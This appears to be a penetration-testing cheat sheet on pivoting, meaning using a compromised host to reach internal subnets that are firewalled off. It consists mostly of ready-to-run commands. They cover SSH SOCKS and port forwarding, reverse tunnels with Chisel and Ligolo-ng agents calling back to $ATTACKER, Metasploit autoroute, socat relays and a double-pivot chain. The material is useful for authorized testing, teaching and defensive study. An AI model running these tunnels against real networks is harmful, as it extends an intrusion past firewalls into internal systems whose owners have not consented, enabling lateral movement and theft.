Pivoting
Table of Contents
Using a compromised host as a relay to reach network segments not directly accessible from the attacker machine. Essential when internal subnets are firewalled from the internet. The compromised host has visibility into both networks — you route your traffic through it.
Related: Netcat SSH Metasploit Post Exploitation Lateral Movement File Transfers
1. Identify the Internal Network
Before pivoting, confirm what the compromised host can see:
# Linux ip a # network interfaces and subnets ip route # routing table cat /etc/hosts # Windows ipconfig /all route print type C:\Windows\System32\drivers\etc\hosts # Scan internal subnet from compromised host # Upload nmap or use built-in tools for i in $(seq 1 254); do ping -c1 -W1 192.168.1.$i & done | grep "bytes from"
2. SSH Port Forwarding
Requires SSH access to the compromised host.
Dynamic — SOCKS proxy (most flexible)
# All traffic through SOCKS5 on localhost:1080 ssh -D 1080 -N user@$PIVOT # Route tools through proxy proxychains nmap -sT -Pn 192.168.1.0/24 proxychains curl http://192.168.1.50 proxychains firefox
Configure /etc/proxychains.conf:
socks5 127.0.0.1 1080
Local — forward a specific internal port
# Access internal RDP (192.168.1.10:3389) via localhost:3389 ssh -L 3389:192.168.1.10:3389 -N user@$PIVOT rdesktop localhost:3389
Remote — expose attacker port through pivot (reverse tunnel)
# Forward pivot's port 8080 back to attacker's port 80 # Run on attacker ssh -R 8080:localhost:80 user@$PIVOT # Now requests to pivot:8080 reach attacker:80
3. Chisel
Use when SSH is unavailable. Transfer binary to pivot host first.
# Attacker — start server ./chisel server -p 8000 --reverse # Pivot — connect back and expose SOCKS proxy ./chisel client $ATTACKER:8000 R:socks # Pivot — expose specific internal port ./chisel client $ATTACKER:8000 R:3389:192.168.1.10:3389
Configure proxychains to use 127.0.0.1:1080 then route tools
normally through proxychains.
4. Ligolo-ng
More stable than Chisel for complex networks. Sets up a TUN interface on the attacker — tools run without proxychains.
# Attacker ./proxy -selfcert -laddr 0.0.0.0:11601 # Pivot (agent — transfer and run) ./agent -connect $ATTACKER:11601 -ignore-cert # In ligolo-ng console >> session # select the agent session >> ifconfig # view pivot's interfaces >> start # start tunnel # Add route on attacker sudo ip route add 192.168.1.0/24 dev ligolo
5. Metasploit Autoroute
Use when you have a Meterpreter session on the pivot.
# In meterpreter session run autoroute -s 192.168.1.0/24 # Background the session then use auxiliary/server/socks_proxy use auxiliary/server/socks_proxy set VERSION 5 set SRVPORT 1080 run -j # Route tools through proxychains
6. Socat Port Forward
Useful when you have command execution but no interactive shell.
# Forward all traffic hitting pivot:8080 to internal host:80 socat TCP-LISTEN:8080,fork TCP:192.168.1.50:80 # On Windows (if socat available) socat TCP-LISTEN:8080,fork TCP:192.168.1.50:80
7. Double Pivot
Reaching a third network through two hops:
# Pivot 1 (internet-facing): $PIVOT1 # Pivot 2 (internal): 192.168.1.10 # Target network: 10.10.10.0/24 # Step 1 — tunnel to PIVOT1 ssh -D 1080 -N user@$PIVOT1 # Step 2 — through proxychains, set up Chisel on PIVOT1 to reach PIVOT2 proxychains ./chisel server -p 8001 --reverse # on PIVOT1 ./chisel client $PIVOT1:8001 R:1081:socks # on PIVOT2 via proxychains # Update proxychains to chain both proxies # socks5 127.0.0.1 1080 # socks5 127.0.0.1 1081
Tips
- SSH dynamic forwarding is the fastest setup when SSH is available — default to it before reaching for Chisel or Ligolo
- Ligolo-ng is the most ergonomic for complex multi-hop scenarios — no proxychains needed, tools behave normally
- Always confirm the internal subnet with
ip route/route printbefore setting up the tunnel — targeting the wrong subnet wastes time - Proxychains slows scans significantly — use
-sT(TCP connect) with nmap through a SOCKS proxy, not-sS(SYN) which requires raw sockets and will not work through proxychains - Transfer pivot tools (Chisel, Ligolo agent) via your existing file transfer method before closing the initial shell